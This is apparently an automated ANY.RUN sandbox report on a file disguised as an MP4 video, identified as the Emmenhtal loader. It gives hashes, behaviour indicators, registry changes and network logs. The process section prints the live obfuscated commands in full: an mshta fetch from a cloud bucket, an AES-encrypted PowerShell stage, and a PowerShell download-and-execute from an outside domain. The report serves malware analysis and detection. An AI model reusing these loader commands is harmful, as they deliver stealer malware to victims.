File name:

singl6.mp4

Full analysis: https://app.any.run/tasks/28eb7280-9ae9-4333-a360-c9f4eef5dd29
Verdict: Malicious activity
Threats:

First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments.

Malware Trends Tracker     >>>
Analysis date: December 17, 2024, 08:34:16
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
lua
emmenhtal
loader
Indicators:
MIME: application/octet-stream
File info: data
MD5:

7449F0B436D00AF0480C1B5AE0F02522

SHA1:

30B18EB4082B8842FEA862C2860255EDAFC838AB

SHA256:

0DF59CED4EB33E4729D11D315A0FD1B738710169D91A3EBCF1EAB2FD64ABD41D

SSDEEP:

3072:3Xp62DPuQbB1xpRVtLClSE3bGVRVRV6VOVfGVRDVuxVr:3XbWQbtpE0YGVRVRV6VOVfGVRVuVr

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • EMMENHTAL loader has been detected

      • powershell.exe (PID: 4300)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 4300)
      • powershell.exe (PID: 6360)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 1296)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 4300)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 4300)
      • powershell.exe (PID: 6360)

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 6360)

    • Changes powershell execution policy (Bypass)

      • powershell.exe (PID: 4300)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6360)

  • SUSPICIOUS

    • There is functionality for taking screenshot (YARA)

      • vlc.exe (PID: 4976)

    • Executes script without checking the security policy

      • powershell.exe (PID: 4300)
      • powershell.exe (PID: 6360)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 1296)
      • powershell.exe (PID: 4300)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 1296)
      • powershell.exe (PID: 4300)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 1296)
      • powershell.exe (PID: 4300)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 4300)

    • Base64-obfuscated command line is found

      • mshta.exe (PID: 1296)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 4300)

  • INFO

    • Checks supported languages

      • vlc.exe (PID: 4976)

    • Checks proxy server information

      • mshta.exe (PID: 1296)
      • powershell.exe (PID: 6360)

    • Sends debugging messages

      • vlc.exe (PID: 4976)

    • Manual execution by a user

      • cmd.exe (PID: 6540)

    • The process uses Lua

      • vlc.exe (PID: 4976)

    • Reads the computer name

      • vlc.exe (PID: 4976)

    • The process uses the downloaded file

      • mshta.exe (PID: 1296)
      • powershell.exe (PID: 4300)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 4300)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 4300)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 4300)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 4300)

    • Disables trace logs

      • powershell.exe (PID: 6360)
      • powershell.exe (PID: 4300)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 4300)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
140
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start vlc.exe cmd.exe no specs conhost.exe no specs mshta.exe #EMMENHTAL powershell.exe conhost.exe no specs powershell.exe conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1296C:\Windows\System32\mshta.exe https://buck2nd.oss-eu-central-1.aliyuncs.com/dir/sixth/singl6.mp4C:\Windows\System32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
3172\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4300"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function LDTn($tKeH){return -split ($tKeH -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$CeoGk = LDTn('0CDF598A18A4AED91A5BE85EF010DC812DDF6CA5E01BA0841D5400BFA8865EEEE33519508FA28ED22E033FB61D6860286C5AD585AD3AE6088844C462C9E670D633E9397F756035D3C6781C871D92F7DD98E335116153534088DAC311C4FA4F656D3794767D98583AF2B70D0E5EDA9DF4EFD9D51DB3BF8912F26547B13D6CAB090DA96E794D2605133338E72782BC20E0535B8BA6DB8ABE3B1637B6C3B4A7EC8BB43A565F60C586C35456C4DE14D903A8763F263B2B4092C54649B564234BA6F234DB2715C115D3E913B5B127D7471BB99910B54C19AF8AB765CAA3AE347E0C45FA06DA8BD0439D947C7FC428F4674CEA1B86989817396A01315CA74BA5946D9A2CBCD82D98C4CCCC126DA64FBF0C84866EF33E4165668A90ADC72C6D46B408936E7122B18754113C9EAD2652749B510185E864BAEB092247073B6555DBE8A02C285F7F5DEAB680CAB9F36B33DCCA376BFD9CAABD8453F85A5389E6FE1A1CE0FA9CE438FAC2E5109E8DFE4B5FCE59726B65BBFB09C9B2571EFBCC24F72182EEC386E1EEB24C28BF8561C07B9C48C5CFA3542DFC12500DB4ED9E0F752F904E9A1F39F40CCAF7DE29BBD93781A14A6B6D78697BA1121A557D382CADCC3DD26E29AF7926F20E922321641B4A503AA61ED17F6EBE58F1B4B858AF09B7807EA6E90C9E44067C3F44521E31943DD37FE829CF3B98EC4922D14519B01B6B7BAF7FA223A2D5336B6A2292896985C4B357884240F703091D140C7B552450F99F9352AEB9E71F874800046B0FB029F8E227B9298C1C8CABB578B8924D2EBFC9CEE9C73A30BC9F8383C9F65D86C41C551E44646BC7F07649CC6F5901304FCD25A2D67CD5AC336BB828F514A28C4BE971F7F97A31A0639007438605B44768B1923ABD25AAF8F7F65C194C71D028F1207E4C2ADD1DE6CD07E6CAF866DF641D384C2798E578D0E62D26F47AA5D00B74081D9C2B593A15D609EDEF38D5B0390EB8544DF29181A2BF9156CAFEC580637B32EDAD036529C4CA0C046886F5DBC13DBF4B14B2E1312A54FF3B766C3BFC0F72E719D889F8354CC68EC0F6870F6A683141D9979DB30BB59F87CDC6AFDAD0D89C363A6741CC175CF2271F2350327442C9773C15529F7730B070E55F4E4114B38A5E96C0486F06C7AEAC39BE262CA46519E22AF9288C18C6C3FE7A1E277ED07ACD51D05DD38A54610596DC32A7E2E1BB911322FB5616F433772A3FF614E44796D1178ACC0441CFEDF6C7A01E4F873963A01EA481827F0DD1C94A69527B568FD9DE419B0AB64654F27E1DC27A501F45C3BA0197EE39BF50E60A149B22181887A36766EB23FD754AA5DC12B10EFFCBDE4E0EBC254C00B4A36F73CD6BE9EBFBEEF8D57312316D16F6E2FFFC6554597675AF1B2D6A9ED511B09A427F0C56A29E47D42B8401C69CC7E8DDDB2E15306921D08A253B3518557EBFFAA29B4335E83A34F643C401385F698DBD55768D7E062D3AF6867D8CAB43D40CDC2E20EFAD37F4C18D708834E667A314DE26F52CEA3E26135A7310AFF06A942AA1D0651EF6B0B7C5A791772A63456309E7B0880A5C67AF91224515DAEEED04089B4583D37DFD19812A8DC0B7483930481AE66FDC076A7921F1ECDAE5D1C85ACBA6B5CBF037B3DB3CFC830C4AEB5FB80712D9F5A3E732B10D6A9A598DBE546004DEEF2DC19C863080CB638919ED62B5B09EA15804CE8DB5426ABC23C3885CF939D01B1D4DA70D1D03728AF6057BDA0CFF939D461A506C2F9C90B46F5B68F5702DBE42BA44326F3A77AFC65F361F15121EDF186B865365D38D853B95FCBBB9B54900984FECEF553149B1FA9EE96374D158573334F382CA832BEB61B3D6A650F11D1B38EFE7C350965C94051A2B6E56A02B8D72566DE5AB234A88CBF27C45D9D625D45AD17E2E57F169F088E9207738CF4AAF3FEAADAD778BDEED75F79CA436F726BADFC4E259843AC42ED941CBC57338FB4F9E6501533B45F56B19CBB71AA46FBE4AA75262D68C6132F640A12377AB8FC0BCACFA91DE1124048C4AEEC6B1F0817094211007C3419A2A73412238C092AF07FC7627730EAEAB3550EA11701E8A15DBA39D87ADE2CAFCDB85146E03942BB97596FB8CE451761175ED084322CB76E8A29CDD30AEA5ACD545C718A060DB59F82FF165592590E325D925218725B22FEA7D7DBD49ACF5A661D879C0A45453706F9E93765FEC931AC2839ACECCA477F3EFD927E648CDF18834AFD8BB30FBEBE75227F9D04BAFE567B67C106E1C5BE59CE3A994415E9686D3FC361454E87C8E3248BC089ACBFBF37496F0D501AA98B5D7520FB2578DD14380174EED72BC90CE16EAB28A44E610AC27F2FE4C8F78C06B145AECC583EB81B24FD797E1A4B5DE0FE2C0BFC9685D9776B2286A641182E4052E33C12BD98AF5555B0863FB89BB6B259350DAAC97058F1960BE0785FD8743C0AC1F03625D053103C5ED4289FA556CAAD69C35D65A1C4AEC5BF17DEFDE5B816E04DC0ECA597677D9E37A53A54BAEF0A8EA359AEEBF0AC368690017FCC0C273EB037AB45E9B69C14F52F8DB07FF6412E64D6DB94ABE8B4D1DC3FC9D6D33F19A6424B197ADDBA635D2B6BD3AB84C877BA922EE87AECD8F3E923AE1A9BE08FF0ADEED63843A135511D4566DDD099772CA701E5652D83C8974E74859C00A910E13D108A0804EACCEE97B701F38292E62615D608404A69ED70C605D56EF326606CA954F2B01211A0ED12A0547F45CDA7B510AB2B50466FD');$MquE=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((LDTn('49434457727243754F7361764B4D4679')),[byte[]]::new(16)).TransformFinalBlock($CeoGk,0,$CeoGk.Length)); & $MquE.Substring(0,3) $MquE.Substring(187)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4976"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file C:\Users\admin\AppData\Local\Temp\singl6.mp4C:\Program Files\VideoLAN\VLC\vlc.exe
explorer.exe
User:
admin
Company:
VideoLAN
Integrity Level:
MEDIUM
Description:
VLC media player
Version:
3.0.11
Modules
Images
c:\program files\videolan\vlc\vlc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
5464\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6360"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('Ne*ct',$TRUE,1))Net.WebClient);SV s 'https://sakura.holistic-haven.shop/singl6';&(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('In*-Ex*ion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value|Get-Member)|Where-Object{(Get-Variable _).Value.Name-ilike'*nl*a'}).Name).Invoke((GCI Variable:\s).Value)|ForEach{(Get-Item Variable:/_).Value-As'Char'})))) C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
6540"C:\WINDOWS\system32\cmd.exe" C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\wldp.dll
6548\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
13 066
Read events
13 049
Write events
17
Delete events
0

Modification events

(PID) Process:(1296) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(1296) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(1296) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6360) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6360) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6360) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(6360) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(6360) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(6360) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(6360) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
2
Suspicious files
5
Text files
5
Unknown types
2

Dropped files

PID
Process
Filename
Type
1296mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CF14D1855652602540DFCFECD21854DB_A58F84B2DF242FA3E958925953F2F0F4der
MD5:160ACE50EAC2F6A7D33F90416A5E7FF1
SHA256:C7945D7A8B81469031FE778D22A88829AE75947C95A36EACBFD02F1B58E5F173
4300powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:189FC8A03AD483FCE1BDF6B2F00F86DC
SHA256:A8682E0C524F42E3F858D6002F263D32B5D4B93B7D2717DD9D3FA8D41470FA95
6360powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yldouon3.2ng.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6360powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_g5z35lvm.syc.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4976vlc.exeC:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.ini.locktext
MD5:D6464CC7D7185944700659BA22C41682
SHA256:A235A9F8CDC9DB2D0056719360CDEE590E0B379D3A4BD1E12F35E7A91E81AAF2
4976vlc.exeC:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.ini.VF4976text
MD5:03F383573CD6625F218BD92543E5F744
SHA256:52FF2A1815C3D0D4DFCBCE47AD27CBF2944D72AB79D9B50E99D7F69C74BF52A1
4976vlc.exeC:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.initext
MD5:03F383573CD6625F218BD92543E5F744
SHA256:52FF2A1815C3D0D4DFCBCE47AD27CBF2944D72AB79D9B50E99D7F69C74BF52A1
1296mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_786387CC77858B88BA3234B304062475binary
MD5:DAB655EAD8792029F4BF34AA2733CAC9
SHA256:929E341C45F04E3C6A7E660F7A48E0B0A2C6DA9B228AB19CA554D9B189C5ABF0
4300powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kpslba2i.uub.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4300powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cnymup4n.nds.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
43
DNS requests
26
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1380
svchost.exe
GET
200
23.53.40.178:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1380
svchost.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
3544
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
3544
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6676
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
1296
mshta.exe
GET
200
104.18.20.226:80
http://ocsp.globalsign.com/rootr1/ME8wTTBLMEkwRzAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCDkcHsQGaDFetObPhfan5
unknown
—
—
whitelisted
1296
mshta.exe
GET
200
104.18.21.226:80
http://ocsp2.globalsign.com/gsorganizationvalsha2g3/ME0wSzBJMEcwRTAJBgUrDgMCGgUABBSVLM6m9XSaK2pXyc357yFJVjgNwQQUaIa4fXrZbUlrhy8YixU0bNe0eg4CDAlBcgXAQIGUqcGZcQ%3D%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
1380
svchost.exe
23.53.40.178:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1380
svchost.exe
23.52.120.96:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4872
RUXIMICS.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1380
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5064
SearchApp.exe
2.16.110.168:443
www.bing.com
Akamai International B.V.
DE
whitelisted
5064
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
1176
svchost.exe
40.126.32.133:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1176
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.53.40.178
  • 23.53.40.176
whitelisted
google.com
  • 142.250.185.206
whitelisted
www.microsoft.com
  • 23.52.120.96
  • 95.101.149.131
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
  • 40.127.240.158
whitelisted
www.bing.com
  • 2.16.110.168
  • 2.16.110.193
  • 2.16.110.177
  • 2.16.110.176
  • 2.16.110.130
  • 2.16.110.179
  • 2.16.110.170
  • 2.16.110.138
  • 2.16.110.171
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
r.bing.com
  • 2.16.110.168
  • 2.16.110.138
  • 2.16.110.179
  • 2.16.110.171
  • 2.16.110.170
  • 2.16.110.176
  • 2.16.110.177
  • 2.16.110.123
  • 2.16.110.130
whitelisted
login.live.com
  • 40.126.32.133
  • 20.190.160.17
  • 40.126.32.74
  • 40.126.32.76
  • 20.190.160.20
  • 40.126.32.136
  • 40.126.32.138
  • 40.126.32.68
whitelisted
go.microsoft.com
  • 23.213.166.81
whitelisted
slscr.update.microsoft.com
  • 52.149.20.212
whitelisted

Threats

PID
Process
Class
Message
2192
svchost.exe
Misc activity
ET INFO DNS Query to Alibaba Cloud CDN Domain (aliyuncs .com)
1296
mshta.exe
Misc activity
ET INFO Observed Alibaba Cloud CDN Domain (aliyuncs .com in TLS SNI)
Process
Message
vlc.exe
main libvlc debug: using multimedia timers as clock source
vlc.exe
main libvlc debug: configured with ../extras/package/win32/../../../configure '--enable-update-check' '--enable-lua' '--enable-faad' '--enable-flac' '--enable-theora' '--enable-avcodec' '--enable-merge-ffmpeg' '--enable-dca' '--enable-mpc' '--enable-libass' '--enable-schroedinger' '--enable-realrtsp' '--enable-live555' '--enable-dvdread' '--enable-shout' '--enable-goom' '--enable-caca' '--enable-qt' '--enable-skins2' '--enable-sse' '--enable-mmx' '--enable-libcddb' '--enable-zvbi' '--disable-telx' '--enable-nls' '--host=x86_64-w64-mingw32' '--with-breakpad=https://win.crashes.videolan.org' 'host_alias=x86_64-w64-mingw32' 'PKG_CONFIG_LIBDIR=/home/jenkins/workspace/vlc-release/windows/vlc-release-win32-x64/contrib/x86_64-w64-mingw32/lib/pkgconfig'
vlc.exe
main libvlc debug: revision 3.0.11-0-gdc0c5ced72
vlc.exe
main libvlc debug: VLC media player - 3.0.11 Vetinari
vlc.exe
main libvlc debug: min period: 1 ms, max period: 1000000 ms
vlc.exe
main libvlc debug: Copyright © 1996-2020 the VideoLAN team
vlc.exe
main libvlc debug: loading plugins cache file C:\Program Files\VideoLAN\VLC\plugins\plugins.dat
vlc.exe
main libvlc debug: searching plug-in modules
vlc.exe
main libvlc debug: recursively browsing `C:\Program Files\VideoLAN\VLC\plugins'
vlc.exe
main libvlc debug: plug-ins loaded: 494 modules
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
singl6.mp4